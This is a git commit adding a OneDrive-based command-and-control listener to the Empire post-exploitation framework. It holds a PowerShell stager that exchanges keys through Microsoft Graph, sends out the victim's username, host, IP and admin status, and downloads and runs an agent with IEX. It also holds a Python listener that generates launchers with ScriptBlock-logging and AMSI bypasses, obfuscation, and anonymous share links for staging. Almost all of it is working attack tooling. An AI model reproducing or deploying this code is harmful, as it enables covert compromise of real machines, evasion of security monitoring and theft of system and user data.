Onedrive listener code

3.0-Beta
mr64bit 2018-03-06 12:51:57 -05:00
parent 85e0ec4564
commit a22102ffa5
2 changed files with 971 additions and 0 deletions

View File

@ -0,0 +1,222 @@
function Start-Negotiate {
param($T,$SK,$PI=5,$UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
function ConvertTo-RC4ByteStream {
Param ($RCK, $In)
begin {
[Byte[]] $S = 0..255;
$J = 0;
0..255 | ForEach-Object {
$J = ($J + $S[$_] + $RCK[$_ % $RCK.Length]) % 256;
$S[$_], $S[$J] = $S[$J], $S[$_];
};
$I = $J = 0;
}
process {
ForEach($Byte in $In) {
$I = ($I + 1) % 256;
$J = ($J + $S[$I]) % 256;
$S[$I], $S[$J] = $S[$J], $S[$I];
$Byte -bxor $S[($S[$I] + $S[$J]) % 256];
}
}
}
function Decrypt-Bytes {
param ($Key, $In)
if($In.Length -gt 32) {
$HMAC = New-Object System.Security.Cryptography.HMACSHA256;
$e=[System.Text.Encoding]::ASCII;
# Verify the HMAC
$Mac = $In[-10..-1];
$In = $In[0..($In.length - 11)];
$hmac.Key = $e.GetBytes($Key);
$Expected = $hmac.ComputeHash($In)[0..9];
if (@(Compare-Object $Mac $Expected -Sync 0).Length -ne 0) {
return;
}
# extract the IV
$IV = $In[0..15];
$AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
$AES.Mode = "CBC";
$AES.Key = $e.GetBytes($Key);
$AES.IV = $IV;
($AES.CreateDecryptor()).TransformFinalBlock(($In[16..$In.length]), 0, $In.Length-16)
}
}
# make sure the appropriate assemblies are loaded
$Null = [Reflection.Assembly]::LoadWithPartialName("System.Security");
$Null = [Reflection.Assembly]::LoadWithPartialName("System.Core");
# try to ignore all errors
$ErrorActionPreference = "SilentlyContinue";
$e=[System.Text.Encoding]::ASCII;
$SKB=$e.GetBytes($SK);
# set up the AES/HMAC crypto
# $SK -> staging key for this server
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
$IV = [byte] 0..255 | Get-Random -count 16;
$AES.Mode="CBC";
$AES.Key=$SKB;
$AES.IV = $IV;
$hmac = New-Object System.Security.Cryptography.HMACSHA256;
$hmac.Key = $SKB;
$csp = New-Object System.Security.Cryptography.CspParameters;
$csp.Flags = $csp.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore;
$rs = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 2048,$csp;
# export the public key in the only format possible...stupid
$rk=$rs.ToXmlString($False);
# generate a randomized sessionID of 8 characters
$ID=-join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 8);
# build the packet of (xml_key)
$ib=$e.getbytes($rk);
# encrypt/HMAC the packet for the c2 server
$eb=$IV+$AES.CreateEncryptor().TransformFinalBlock($ib,0,$ib.Length);
$eb=$eb+$hmac.ComputeHash($eb)[0..9];
# if the web client doesn't exist, create a new web client and set appropriate options
# this only happens if this stager.ps1 code is NOT called from a launcher context
if(-not $wc) {
$wc=New-Object System.Net.WebClient;
# set the proxy settings for the WC to be the default system settings
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
}
if ($Script:Proxy) {
$wc.Proxy = $Script:Proxy;
}
# RC4 routing packet:
# sessionID = $ID
# language = POWERSHELL (1)
# meta = STAGE1 (2)
# extra = (0x00, 0x00)
# length = len($eb)
$IV=[BitConverter]::GetBytes($(Get-Random));
$data = $e.getbytes($ID) + @(0x01,0x02,0x00,0x00) + [BitConverter]::GetBytes($eb.Length);
$rc4p = ConvertTo-RC4ByteStream -RCK $($IV+$SKB) -In $data;
$rc4p = $IV + $rc4p + $eb;
# the User-Agent always resets for multiple calls...silly
$wc.Headers.Set("User-Agent",$UA);
$wc.Headers.Set("Authorization", "Bearer $T");
$wc.Headers.Set("Content-Type", "application/octet-stream");
# step 3 of negotiation -> client posts AESstaging(PublicKey) to the server
$Null = $wc.UploadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_1.txt:/content", "put", $rc4p);
# step 4 of negotiation -> server returns RSA(nonce+AESsession))
Start-Sleep -Seconds $(($PI -as [Int])*2);
$wc.Headers.Set("User-Agent",$UA);
$wc.Headers.Set("Authorization", "Bearer $T");
Do{try{
$raw=$wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_2.txt:/content");
}catch{Start-Sleep -Seconds $(($PI -as [Int])*2)}}While($raw -eq $null);
$wc.Headers.Set("User-Agent",$UA);
$wc.Headers.Set("Authorization", "Bearer $T");
$null=$wc.UploadString("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_2.txt", "DELETE", "");
$de=$e.GetString($rs.decrypt($raw,$false));
# packet = server nonce + AES session key
$nonce=$de[0..15] -join '';
$key=$de[16..$de.length] -join '';
# increment the nonce
$nonce=[String]([long]$nonce + 1);
# create a new AES object
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
$IV = [byte] 0..255 | Get-Random -Count 16;
$AES.Mode="CBC";
$AES.Key=$e.GetBytes($key);
$AES.IV = $IV;
# get some basic system information
$i=$nonce+'|'+$s+'|'+[Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
$p=(gwmi Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
# check if the IP is a string or the [IPv4,IPv6] array
$ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6];
if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'};
$i+="|$ip";
$i+='|'+(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];
# detect if we're SYSTEM or otherwise high-integrity
if(([Environment]::UserName).ToLower() -eq "system"){$i+="|True"}
else {$i += '|' +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")}
# get the current process name and ID
$n=[System.Diagnostics.Process]::GetCurrentProcess();
$i+='|'+$n.ProcessName+'|'+$n.Id;
# get the powershell.exe version
$i += "|powershell|" + $PSVersionTable.PSVersion.Major;
# send back the initial system information
$ib2=$e.getbytes($i);
$eb2=$IV+$AES.CreateEncryptor().TransformFinalBlock($ib2,0,$ib2.Length);
$hmac.Key = $e.GetBytes($key);
$eb2 = $eb2+$hmac.ComputeHash($eb2)[0..9];
# RC4 routing packet:
# sessionID = $ID
# language = POWERSHELL (1)
# meta = STAGE2 (3)
# extra = (0x00, 0x00)
# length = len($eb)
$IV2=[BitConverter]::GetBytes($(Get-Random));
$data2 = $e.getbytes($ID) + @(0x01,0x03,0x00,0x00) + [BitConverter]::GetBytes($eb2.Length);
$rc4p2 = ConvertTo-RC4ByteStream -RCK $($IV2+$SKB) -In $data2;
$rc4p2 = $IV2 + $rc4p2 + $eb2;
# the User-Agent always resets for multiple calls...silly
Start-Sleep -Seconds $(($PI -as [Int])*2);
$wc.Headers.Set("User-Agent",$UA);
$wc.Headers.Set("Authorization", "Bearer $T");
$wc.Headers.Set("Content-Type", "application/octet-stream");
# step 5 of negotiation -> client posts nonce+sysinfo and requests agent
$Null = $wc.UploadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_3.txt:/content", "PUT", $rc4p2);
Start-Sleep -Seconds $(($PI -as [Int])*2);
$wc.Headers.Set("User-Agent",$UA);
$wc.Headers.Set("Authorization", "Bearer $T");
$raw=$null;
do{try{
$raw=$wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_4.txt:/content");
}catch{Start-Sleep -Seconds $(($PI -as [Int])*2)}}While($raw -eq $null);
Start-Sleep -Seconds $($PI -as [Int]);
$wc2=New-Object System.Net.WebClient;
$wc2.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$wc2.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
if($Script:Proxy) {
$wc2.Proxy = $Script:Proxy;
}
$wc2.Headers.Add("User-Agent",$UA);
$wc2.Headers.Add("Authorization", "Bearer $T");
$wc2.Headers.Add("Content-Type", " application/json");
$Null=$wc2.UploadString("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_4.txt", "DELETE", "");
# decrypt the agent and register the agent logic
IEX $( $e.GetString($(Decrypt-Bytes -Key $key -In $raw)) );
# clear some variables out of memory and cleanup before execution
$AES=$null;$s2=$null;$wc=$null;$eb2=$null;$raw=$null;$IV=$null;$wc=$null;$i=$null;$ib2=$null;
[GC]::Collect();
# TODO: remove this shitty $server logic
Invoke-Empire -Servers @('NONE') -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "REPLACE_WORKING_HOURS" -ProxySettings $Script:Proxy;
}
# $ser is the server populated from the launcher code, needed here in order to facilitate hop listeners
Start-Negotiate -T "REPLACE_TOKEN" -PI "REPLACE_POLLING_INTERVAL" -SK "REPLACE_STAGING_KEY" -UA $u;

749
lib/listeners/onedrive.py Normal file
View File

@ -0,0 +1,749 @@
import base64
import random
import os
import re
import time
from datetime import datetime
import copy
import traceback
import sys
from pydispatch import dispatcher
from requests import Request, Session
#Empire imports
from lib.common import helpers
from lib.common import agents
from lib.common import encryption
from lib.common import packets
from lib.common import messages
class Listener:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Onedrive',
'Author': ['@mr64bit'],
'Description': ('Starts a Onedrive listener.'),
'Category': ('third_party'),
'Comments': []
}
self.options = {
'Name' : {
'Description' : 'Name for the listener.',
'Required' : True,
'Value' : 'onedrive'
},
'ClientID' : {
'Description' : 'Client ID of the OAuth App.',
'Required' : True,
'Value' : ''
},
'AuthCode' : {
'Description' : 'Auth code given after authenticating OAuth App.',
'Required' : True,
'Value' : ''
},
'BaseFolder' : {
'Description' : 'The base Onedrive folder to use for comms.',
'Required' : True,
'Value' : 'empire'
},
'StagingFolder' : {
'Description' : 'The nested Onedrive staging folder.',
'Required' : True,
'Value' : 'staging'
},
'TaskingsFolder' : {
'Description' : 'The nested Onedrive taskings folder.',
'Required' : True,
'Value' : 'taskings'
},
'ResultsFolder' : {
'Description' : 'The nested Onedrive results folder.',
'Required' : True,
'Value' : 'results'
},
'Launcher' : {
'Description' : 'Launcher string.',
'Required' : True,
'Value' : 'powershell -noP -sta -w 1 -enc '
},
'StagingKey' : {
'Description' : 'Staging key for intial agent negotiation.',
'Required' : True,
'Value' : 'asdf'
},
'PollInterval' : {
'Description' : 'Polling interval (in seconds) to communicate with Onedrive.',
'Required' : True,
'Value' : '5'
},
'DefaultDelay' : {
'Description' : 'Agent delay/reach back interval (in seconds).',
'Required' : True,
'Value' : 60
},
'DefaultJitter' : {
'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
'Required' : True,
'Value' : 0.0
},
'DefaultLostLimit' : {
'Description' : 'Number of missed checkins before exiting',
'Required' : True,
'Value' : 10
},
'DefaultProfile' : {
'Description' : 'Default communication profile for the agent.',
'Required' : True,
'Value' : "N/A|Microsoft SkyDriveSync 17.005.0107.0008 ship; Windows NT 10.0 (16299)"
},
'KillDate' : {
'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
'Required' : False,
'Value' : ''
},
'WorkingHours' : {
'Description' : 'Hours for the agent to operate (09:00-17:00).',
'Required' : False,
'Value' : ''
},
'RefreshToken' : {
'Description' : 'Refresh token used to refresh the auth token',
'Required' : False,
'Value' : ''
},
'RedirectURI' : {
'Description' : 'Redirect URI of the registered application',
'Required' : True,
'Value' : "https://login.live.com/oauth20_desktop.srf"
},
'SlackToken' : {
'Description' : 'Your SlackBot API token to communicate with your Slack instance.',
'Required' : False,
'Value' : ''
},
'SlackChannel' : {
'Description' : 'The Slack channel or DM that notifications will be sent to.',
'Required' : False,
'Value' : '#general'
}
}
self.mainMenu = mainMenu
self.threads = {}
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
def default_response(self):
return ''
def validate_options(self):
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
if (str(self.options['RefreshToken']['Value']).strip() == '') and (str(self.options['AuthCode']['Value']).strip() == ''):
if (str(self.options['ClientID']['Value']).strip() == ''):
print helpers.color("[!] ClientID needed to generate AuthCode URL!")
return False
params = {'client_id': str(self.options['ClientID']['Value']).strip(),
'response_type': 'code',
'redirect_uri': self.options['RedirectURI']['Value'],
'scope': 'files.readwrite offline_access'}
req = Request('GET','https://login.microsoftonline.com/common/oauth2/v2.0/authorize', params = params)
prep = req.prepare()
print helpers.color("[*] Get your AuthCode from \"%s\" and try starting the listener again." % prep.url)
return False
for key in self.options:
if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
print helpers.color("[!] Option \"%s\" is required." % (key))
return False
return True
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
if not language:
print helpers.color("[!] listeners/onedrive generate_launcher(): No language specified")
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
listener_options = self.mainMenu.listeners.activeListeners[listenerName]['options']
staging_key = listener_options['StagingKey']['Value']
profile = listener_options['DefaultProfile']['Value']
launcher_cmd = listener_options['Launcher']['Value']
staging_key = listener_options['StagingKey']['Value']
poll_interval = listener_options['PollInterval']['Value']
base_folder = listener_options['BaseFolder']['Value'].strip("/")
staging_folder = listener_options['StagingFolder']['Value']
taskings_folder = listener_options['TaskingsFolder']['Value']
results_folder = listener_options['ResultsFolder']['Value']
if language.startswith("power"):
launcher = "$ErrorActionPreference = 'SilentlyContinue';" #Set as empty string for debugging
if safeChecks.lower() == 'true':
launcher += helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
launcher += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
launcher += "'System.Management.Automation.Utils'"
launcher += helpers.randomize_capitalization(").'GetFie`ld'(")
launcher += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
launcher += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
launcher += "['ScriptB'+'lockLogging']"
launcher += helpers.randomize_capitalization("){$GPC")
launcher += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
launcher += helpers.randomize_capitalization("$GPC")
launcher += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
launcher += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
launcher += "('EnableScriptB'+'lockLogging',0);"
launcher += helpers.randomize_capitalization("$val.Add")
launcher += "('EnableScriptBlockInvocationLogging',0);"
launcher += helpers.randomize_capitalization("$GPC")
launcher += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
launcher += helpers.randomize_capitalization("=$val}")
launcher += helpers.randomize_capitalization("Else{[ScriptBlock].'GetFie`ld'(")
launcher += "'signatures','N'+'onPublic,Static'"
launcher += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
# @mattifestation's AMSI bypass
launcher += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
launcher += "'System.Management.Automation.AmsiUtils'"
launcher += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
launcher += "'amsiInitFailed','NonPublic,Static'"
launcher += helpers.randomize_capitalization(").SetValue($null,$true)};")
launcher += "};"
launcher += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
launcher += helpers.randomize_capitalization("$wc=New-Object SYstem.Net.WebClient;")
if userAgent.lower() == 'default':
profile = listener_options['DefaultProfile']['Value']
userAgent = profile.split("|")[1]
launcher += "$u='" + userAgent + "';"
if userAgent.lower() != 'none' or proxy.lower() != 'none':
if userAgent.lower() != 'none':
launcher += helpers.randomize_capitalization("$wc.Headers.Add(")
launcher += "'User-Agent',$u);"
if proxy.lower() != 'none':
if proxy.lower() == 'default':
launcher += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
else:
launcher += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
launcher += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
launcher += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
if proxyCreds.lower() == "default":
launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
else:
username = proxyCreds.split(":")[0]
password = proxyCreds.split(":")[1]
domain = username.split("\\")[0]
usr = username.split("\\")[1]
launcher += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
launcher += "$Script:Proxy = $wc.Proxy;"
# code to turn the key string into a byte array
launcher += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
launcher += ("'%s');" % staging_key)
# this is the minimized RC4 launcher code from rc4.ps1
launcher += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
launcher += helpers.randomize_capitalization("$data=$wc.DownloadData('")
launcher += self.mainMenu.listeners.activeListeners[listenerName]['stager_url']
launcher += helpers.randomize_capitalization("');$iv=$data[0..3];$data=$data[4..$data.length];")
launcher += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
launcher = helpers.obfuscate(self.mainMenu.installPath, launcher, obfuscationCommand=obfuscationCommand)
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(launcher, launcher_cmd)
else:
return launcher
if language.startswith("pyth"):
print helpers.color("[!] listeners/onedrive generate_launcher(): Python agent not implimented yet")
return "python not implimented yet"
else:
print helpers.color("[!] listeners/onedrive generate_launcher(): invalid listener name")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None, token=None):
"""
Generate the stager code
"""
if not language:
print helpers.color("[!] listeners/onedrive generate_stager(): no language specified")
return None
staging_key = listenerOptions['StagingKey']['Value']
base_folder = listenerOptions['BaseFolder']['Value']
staging_folder = listenerOptions['StagingFolder']['Value']
working_hours = listenerOptions['WorkingHours']['Value']
profile = listenerOptions['DefaultProfile']['Value']
agent_delay = listenerOptions['DefaultDelay']['Value']
if language.lower() == 'powershell':
f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath)
stager = f.read()
f.close()
stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder))
stager = stager.replace('REPLACE_STAGING_KEY', staging_key)
stager = stager.replace("REPLACE_TOKEN", token)
stager = stager.replace("REPLACE_POLLING_INTERVAL", agent_delay)
if working_hours != "":
stager = stager.replace("REPLACE_WORKING_HOURS")
randomized_stager = ''
for line in stager.split("\n"):
line = line.strip()
if not line.startswith("#"):
if "\"" not in line:
randomized_stager += helpers.randomize_capitalization(line)
else:
randomized_stager += line
if encode:
return helpers.enc_powershell(randomized_stager)
elif encrypt:
RC4IV = os.urandom(4)
return RC4IV + encryption.rc4(RC4IV+staging_key, randomized_stager)
else:
return randomized_stager
def generate_comms(self, listener_options, client_id, token, refresh_token, redirect_uri, language=None):
staging_key = listener_options['StagingKey']['Value']
base_folder = listener_options['BaseFolder']['Value']
taskings_folder = listener_options['TaskingsFolder']['Value']
results_folder = listener_options['ResultsFolder']['Value']
if not language:
print helpers.color("[!] listeners/onedrive generate_comms(): No language specified")
return
if language.lower() == "powershell":
token_manager = """
$Script:TokenObject = @{token="%s";refresh="%s";expires=(Get-Date).addSeconds(3480)};
function script:Get-WebClient {
$wc = New-Object System.Net.WebClient
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
if($Script:Proxy) {
$wc.Proxy = $Script:Proxy;
}
if((Get-Date) -gt $Script:TokenObject.expires) {
$data = New-Object System.Collections.Specialized.NameValueCollection
$data.add("client_id", "%s")
$data.add("grant_type", "refresh_token")
$data.add("scope", "files.readwrite offline_access")
$data.add("refresh_token", $Script:TokenObject.refresh)
$data.add("redirect_uri", "%s")
$bytes = $wc.UploadValues("https://login.microsoftonline.com/common/oauth2/v2.0/token", "POST", $data)
$response = [system.text.encoding]::ascii.getstring($bytes)
$Script:TokenObject.token = [regex]::match($response, '"access_token":"(.+?)"').groups[1].value
$Script:TokenObject.refresh = [regex]::match($response, '"refresh_token":"(.+?)"').groups[1].value
$expires_in = [int][regex]::match($response, '"expires_in":([0-9]+)').groups[1].value
$Script:TokenObject.expires = (get-date).addSeconds($expires_in - 15)
}
$wc.headers.add("User-Agent", $script:UserAgent)
$wc.headers.add("Authorization", "Bearer $($Script:TokenObject.token)")
$Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
return $wc
}
""" % (token, refresh_token, client_id, redirect_uri)
post_message = """
function script:send-message {
param($packets)
if($packets) {
$encBytes = encrypt-bytes $packets
$RoutingPacket = New-RoutingPacket -encData $encBytes -Meta 5
} else {
$RoutingPacket = ""
}
$wc = Get-WebClient
$resultsFolder = "%s"
try {
try {
$data = $null
$data = $wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/$resultsFolder/$($script:SessionID).txt:/content")
} catch {}
if($data -and $data.length -ne 0) {
$routingPacket = $data + $routingPacket
}
$wc = Get-WebClient
$null = $wc.UploadData("https://graph.microsoft.com/v1.0/drive/root:/$resultsFolder/$($script:SessionID).txt:/content", "PUT", $RoutingPacket)
$script:missedChecking = 0
$script:lastseen = get-date
}
catch {
if($_ -match "Unable to connect") {
$script:missedCheckins += 1
}
}
}
""" % ("%s/%s" % (base_folder, results_folder))
get_message = """
$script:lastseen = Get-Date
function script:get-task {
try {
$wc = Get-WebClient
$TaskingsFolder = "%s"
#If we haven't sent a message recently...
if($script:lastseen.addseconds($script:AgentDelay * 2) -lt (get-date)) {
send-message -packets ""
}
$script:MissedCheckins = 0
$data = $wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/$TaskingsFolder/$($script:SessionID).txt:/content")
if($data -and ($data.length -ne 0)) {
$wc = Get-WebClient
$null = $wc.UploadString("https://graph.microsoft.com/v1.0/drive/root:/$TaskingsFolder/$($script:SessionID).txt", "DELETE", "")
if([system.text.encoding]::utf8.getString($data) -eq "RESTAGE") {
write-host "Restaging"
Start-Negotiate -T $script:TokenObject.token -SK $SK -PI $PI -UA $UA
}
write-host "returning"
$Data
}
}
catch {
if($_ -match "Unable to connect") {
$script:MissedCheckins += 1
}
}
}
""" % ("%s/%s" % (base_folder, taskings_folder))
return token_manager + post_message + get_message
def generate_agent(self, listener_options, client_id, token, refresh_token, redirect_uri, language=None):
"""
Generate the agent code
"""
if not language:
print helpers.color("[!] listeners/onedrive generate_agent(): No language specified")
return
language = language.lower()
delay = listener_options['DefaultDelay']['Value']
jitter = listener_options['DefaultJitter']['Value']
profile = listener_options['DefaultProfile']['Value']
lost_limit = listener_options['DefaultLostLimit']['Value']
working_hours = listener_options['WorkingHours']['Value']
kill_date = listener_options['KillDate']['Value']
b64_default_response = base64.b64encode(self.default_response())
if language == 'powershell':
f = open(self.mainMenu.installPath + "/data/agent/agent.ps1")
agent_code = f.read()
f.close()
comms_code = self.generate_comms(listener_options, client_id, token, refresh_token, redirect_uri, language)
agent_code = agent_code.replace("REPLACE_COMMS", comms_code)
agent_code = helpers.strip_powershell_comments(agent_code)
agent_code = agent_code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
agent_code = agent_code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
agent_code = agent_code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
agent_code = agent_code.replace('$LostLimit = 60', "$LostLimit = " + str(lost_limit))
agent_code = agent_code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+b64_default_response+'"')
if kill_date != "":
agent_code = agent_code.replace("$KillDate,", "$KillDate = '" + str(kill_date) + "',")
return agent_code
def start_server(self, listenerOptions):
def get_token(client_id, code):
params = {'client_id': client_id,
'grant_type': 'authorization_code',
'scope': 'files.readwrite offline_access',
'code': code,
'redirect_uri': redirect_uri}
try:
r = s.post('https://login.microsoftonline.com/common/oauth2/v2.0/token', data=params)
r_token = r.json()
r_token['expires_at'] = time.time() + (int)(r_token['expires_in']) - 15
r_token['update'] = True
return r_token
except KeyError, e:
print helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description']))
raise
def renew_token(client_id, refresh_token):
params = {'client_id': client_id,
'grant_type': 'refresh_token',
'scope': 'files.readwrite offline_access',
'refresh_token': refresh_token,
'redirect_uri': redirect_uri}
try:
r = s.post('https://login.microsoftonline.com/common/oauth2/v2.0/token', data=params)
r_token = r.json()
r_token['expires_at'] = time.time() + (int)(r_token['expires_in']) - 15
r_token['update'] = True
return r_token
except KeyError, e:
print helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description']))
raise
def test_token(token):
headers = s.headers.copy()
headers['Authorization'] = 'Bearer ' + token
request = s.get("%s/drive" % base_url, headers=headers)
return request.ok
def setup_folders():
if not (test_token(token['access_token'])):
raise ValueError("Could not set up folders, access token invalid")
base_object = s.get("%s/drive/root:/%s" % (base_url, base_folder))
if not (base_object.status_code == 200):
print helpers.color("[*] Creating %s folder" % base_folder)
params = {'@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': base_folder}
base_object = s.post("%s/drive/items/root/children" % base_url, json=params)
else:
print helpers.color("[*] %s folder already exists" % base_folder)
for item in [staging_folder, taskings_folder, results_folder]:
item_object = s.get("%s/drive/root:/%s/%s" % (base_url, base_folder, item))
if not (item_object.status_code == 200):
print helpers.color("[*] Creating %s/%s folder" % (base_folder, item))
params = {'@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': item}
item_object = s.post("%s/drive/items/%s/children" % (base_url, base_object.json()['id']), json=params)
else:
print helpers.color("[*] %s/%s already exists" % (base_folder, item))
def upload_launcher():
ps_launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='powershell', encode=False, userAgent='none', proxy='none', proxyCreds='none')
#py_launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='python', encode=False, userAgent='none', proxy='none', proxyCreds='none')
r = s.put("%s/drive/root:/%s/%s/%s:/content" %(base_url, base_folder, staging_folder, "LAUNCHER-PS.TXT"),
data=ps_launcher, headers={"Content-Type": "text/plain"})
if r.status_code == 201 or r.status_code == 200:
item = r.json()
r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']),
json={"scope": "anonymous", "type": "view"},
headers={"Content-Type": "application/json"})
launcher_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json()['shareId']
#print helpers.color("[*] PS Launcher URL for %s: %s" % (listener_name, launcher_url))
#r = s.put("%s/drive/root:/%s/%s/%s:/content" %(base_url, base_folder, staging_folder, "STAGE0PY.TXT"),
#data=py_launcher, headers={"Content-Type": "text/plain"})
def upload_stager():
ps_stager = self.generate_stager(listenerOptions=listener_options, language='powershell', token=token['access_token'])
r = s.put("%s/drive/root:/%s/%s/%s:/content" % (base_url, base_folder, staging_folder, "STAGE0-PS.txt"),
data=ps_stager, headers={"Content-Type": "application/octet-stream"})
if r.status_code == 201 or r.status_code == 200:
item = r.json()
r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']),
json={"scope": "anonymous", "type": "view"},
headers={"Content-Type": "application/json"})
stager_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json()['shareId']
#Different domain for some reason?
self.mainMenu.listeners.activeListeners[listener_name]['stager_url'] = stager_url
else:
print helpers.color("[!] Something went wrong uploading stager")
print r.json()
listener_options = copy.deepcopy(listenerOptions)
listener_name = listener_options['Name']['Value']
staging_key = listener_options['StagingKey']['Value']
poll_interval = listener_options['PollInterval']['Value']
client_id = listener_options['ClientID']['Value']
auth_code = listener_options['AuthCode']['Value']
refresh_token = listener_options['RefreshToken']['Value']
base_folder = listener_options['BaseFolder']['Value']
staging_folder = listener_options['StagingFolder']['Value'].strip('/')
taskings_folder = listener_options['TaskingsFolder']['Value'].strip('/')
results_folder = listener_options['ResultsFolder']['Value'].strip('/')
redirect_uri = listener_options['RedirectURI']['Value']
base_url = "https://graph.microsoft.com/v1.0"
s = Session()
if refresh_token:
token = renew_token(client_id, refresh_token)
dispatcher.send("[*] Refreshed auth token", sender="listeners/onedrive")
else:
token = get_token(client_id, auth_code)
dispatcher.send("[*] Got new auth token", sender="listeners/onedrive")
s.headers['Authorization'] = "Bearer " + token['access_token']
setup_folders()
while True:
#Wait until Empire is aware the listener is running
try:
if listener_name in self.mainMenu.listeners.activeListeners.keys():
upload_stager()
upload_launcher()
break
else:
time.sleep(1)
except AttributeError:
time.sleep(1)
while True:
time.sleep(int(poll_interval))
try:
if time.time() > token['expires_at']:
token = renew_token(client_id, token['refresh_token'])
s.headers['Authorization'] = "Bearer " + token['access_token']
dispatcher.send("[*] Refreshed auth token", sender="listeners/onedrive")
upload_stager()
